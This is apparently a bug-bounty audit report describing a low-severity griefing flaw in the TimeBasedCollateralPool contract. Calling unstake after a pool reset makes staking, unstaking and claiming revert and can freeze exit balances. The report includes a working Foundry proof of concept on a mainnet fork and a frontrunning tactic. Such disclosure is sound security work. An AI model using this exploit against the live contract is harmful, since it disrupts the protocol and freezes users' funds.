#36309 [SC-Low] TimeBasedCollateralPool: After _resetPool gets called (internally) a depositor can b
Submitted on Oct 28th 2024 at 22:48:59 UTC by @max10afternoon for Audit Comp | Anvil
Report ID: #36309
Report Type: Smart Contract
Report severity: Low
Target: https://etherscan.io/address/0xd042C267758eDDf34B481E1F539d637e41db3e5a
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
After a pool gets reset, a depositor can call unstake to intentionally (or unintentionally) break almost all functionalities of the smart contract, including staking and unstaking. Leading to a freezing of funds in cases were and ExitBalance is present, or to a general disruption of service otherwise.
Vulnerability Details
When a pool gets reset the associated reservation ID gets set to 0, together with any pending epoch: ``` function _resetPool(address _tokenAddress) internal { // Note: we are not calling _unlockEligibleTokenContractPendingUnstakes because it can call this function.
ContractState storage contractStateStorage = tokenContractState[_tokenAddress];
uint256 unitsToReset = contractStateStorage.totalUnits;
if (unitsToReset == 0) {
// This already has the state that a reset would achieve, so it's not required.
return;
}
// NB: must be resetNonce++, NOT ++resetNonce
uint256 resetNonce = contractStateStorage.resetNonce++;
uint256 tokensToReset;
{
uint96 reservationId = contractStateStorage.collateralReservationId;
if (reservationId != 0) {
// Unlock all pool tokens so they are releasable.
tokensToReset = collateral.releaseAllCollateral(reservationId);
contractStateStorage.collateralReservationId = 0;
}
}
// Only set an Exit balance if there is one. If all tokens were claimed, then effectively set (0,0).
if (tokensToReset > 0) {
// Create the reset ExitBalance so stakers can exit their tokens (see: _resetAccountTokenStateIfApplicable(...))
tokenResetExitBalances[_tokenAddress][resetNonce] = ExitBalance(unitsToReset, tokensToReset);
}
// Delete all contract-level pending unstake state.
if (contractStateStorage.firstPendingUnstakeEpoch > 0) {
contractStateStorage.firstPendingUnstakeEpoch = 0;
contractStateStorage.firstPendingUnstakeUnits = 0;
if (contractStateStorage.secondPendingUnstakeEpoch > 0) {
contractStateStorage.secondPendingUnstakeEpoch = 0;
contractStateStorage.secondPendingUnstakeUnits = 0;
}
}
contractStateStorage.totalUnits = 0;
emit PoolReset(IERC20(_tokenAddress), resetNonce + 1, tokensToReset, unitsToReset);
}
``` This two facts will be relevant inside of the '_unlockEligibleTokenContractPendingUnstakes', which gets called by all stake functionalities, unstake and claim. As calling unstake after the pool got reset will cause _unlockEligibleTokenContractPendingUnstakes to revert braking all of the above functionalities, here is why:
As you may notice at the begging, if uint256 firstEpoch = contractStateStorage.firstPendingUnstakeEpoch; is 0, no further computations will be made, avoiding any unexpected revert, that would come from interacting with the underlying Collateral contract trough a reservation with ID equal to 0. That said a user can call unstake to froce the contractStateStorage.firstPendingUnstakeEpoch to be greater than 0**, meaning that after the epoch elapses, the above mentioned check will pass and, unless someone have deposited before the time has passed, every functionality dependent on _unlockEligibleTokenContractPendingUnstakes will revert, breaking almost every functionalities of the contract with respect to the targeted token and freezing any funds found in a potential ExitBalance allocation until the implementation gets re deployed (with the owner's time lock currently having a min delay of 7 days).
**Note that the check performed inside of unstake, to verify if the account was reset will be ignored, as when epoch is equal to 0, the _poolWasReset variable will be set to false, meaning that accountWasReset will also be set to false, allowing the execution to reach the critical _addToContractPendingUnstakeNextEpoch function.
All of this can be done maliciously do damage the users and owners of the protocol (even by frontrunning the pool's reset with a dust amount deposit, see PoC) or by mistake by a user trying to legitimately call unstake.
Impact Details
Griefing: A malicious user can decide to break most functionalities of the contract either by having some funds staked already of by frontrunning (for almost no cost). Also this might lead to a temporary freezing of funds in cases were an ExitBalance was allocated.
Proof of Concept
Here is a simple foundry PoC interacting directly with the in scope assets (0xd042C267758eDDf34B481E1F539d637e41db3e5a) after properly initializing it, any interaction trough a proxy would lead to the same results.
Place your alchemy API key in the URL on line 119 of the script: ``` // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0;
import "forge-std/Test.sol"; import "forge-std/console.sol";
interface IStruct{
struct CollateralizableContractApprovalConfig {
address collateralizableAddress;
bool isApproved;
}
struct AccountState {
uint32 resetNonce;
uint32 firstPendingUnstakeEpoch;
uint32 secondPendingUnstakeEpoch;
uint256 firstPendingUnstakeUnits;
uint256 secondPendingUnstakeUnits;
uint256 totalUnits;
}
} interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface ICollateral is IStruct{
function depositAndApprove(
address[] calldata _tokenAddresses,
uint256[] calldata _amounts,
address _collateralizableContractAddressToApprove
) external ;
function upsertCollateralizableContractApprovals(
CollateralizableContractApprovalConfig[] calldata _updates
) external;
}
interface ITimeBasedCollateralPool is IStruct {
function defaultClaimDestinationAccount() external view returns (address);
function initialize(
ICollateral _collateral,
uint256 _epochPeriodSeconds,
address _defaultClaimDestination,
address _admin,
address _claimant,
address _claimRouter,
address _resetter
) external;
function stake(
IERC20 _token,
uint256 _amount,
bytes calldata _collateralizableApprovalSignature
) external;
function unstake(IERC20 _token, uint256 _poolUnits) external;
function getAccountTokenState(address _account, address _tokenAddress) external view returns (AccountState memory);
function resetPool(IERC20[] calldata _tokens) external;
function getCurrentEpoch() external view returns (uint256);
}
contract DoSTest is Test, IStruct{
uint256 mainnetFork;
address vaultAddress;
address poolAddress;
address depositTokenAddress;
address alice;
address bob;
IERC20 depositToken;
ICollateral vault;
ITimeBasedCollateralPool pool;
uint256[] amounts;
address[] addresses;
IERC20[] resetToken;
CollateralizableContractApprovalConfig[] collAdd;
function setUp() public {
mainnetFork = vm.createFork("https://eth-mainnet.g.alchemy.com/v2/<Place your Alchemy API key here>");
depositTokenAddress = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
vaultAddress = address(0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f);
poolAddress = address(0xd042C267758eDDf34B481E1F539d637e41db3e5a);
alice = address(0x123);
bob = address(0x456);
vm.selectFork(mainnetFork);
vm.rollFork(20929936); //1 block before initialization, to skip proxy and make PoC interact directly with in scope asset
vault = ICollateral(vaultAddress);
pool = ITimeBasedCollateralPool(poolAddress);
depositToken = IERC20(depositTokenAddress);
vm.prank(0x37305B1cD40574E4C5Ce33f8e8306Be057fD7341);
depositToken.transfer(alice, 500000000);
vm.prank(alice);
depositToken.approve(vaultAddress, type(uint256).max);
vm.prank(0x37305B1cD40574E4C5Ce33f8e8306Be057fD7341);
depositToken.transfer(bob, 500000000);
vm.prank(bob);
depositToken.approve(vaultAddress, type(uint256).max);
//Init with dummy numbers just to show impact
pool.initialize(vault, 1, address(this),address(this),address(this),address(this),address(this));
collAdd.push(CollateralizableContractApprovalConfig(poolAddress, true));
vm.prank(address(0x4eeB7c5BB75Fc0DBEa4826BF568FD577f62cad21));
vault.upsertCollateralizableContractApprovals(collAdd);
}
function testRevert() public {
bytes memory empty;
amounts = [50000000];
addresses = [depositTokenAddress];
vm.startPrank(alice);
vault.depositAndApprove(addresses, amounts, poolAddress);
pool.stake(depositToken,10, empty);
vm.stopPrank();
vm.startPrank(bob);
vault.depositAndApprove(addresses, amounts, poolAddress);
pool.stake(depositToken,20000000, empty);
vm.stopPrank();
resetToken.push(depositToken);
pool.resetPool(resetToken);
vm.prank(alice);
pool.unstake(depositToken,1);
vm.warp(block.timestamp + 2);
//Alice was able to disable the smart contract functionalities
vm.startPrank(bob);
vault.depositAndApprove(addresses, amounts, poolAddress);
vm.expectRevert();
pool.stake(depositToken,20000000, empty);
vm.expectRevert();
pool.unstake(depositToken,1);
vm.stopPrank();
}
}
```
Last updated
Was this helpful?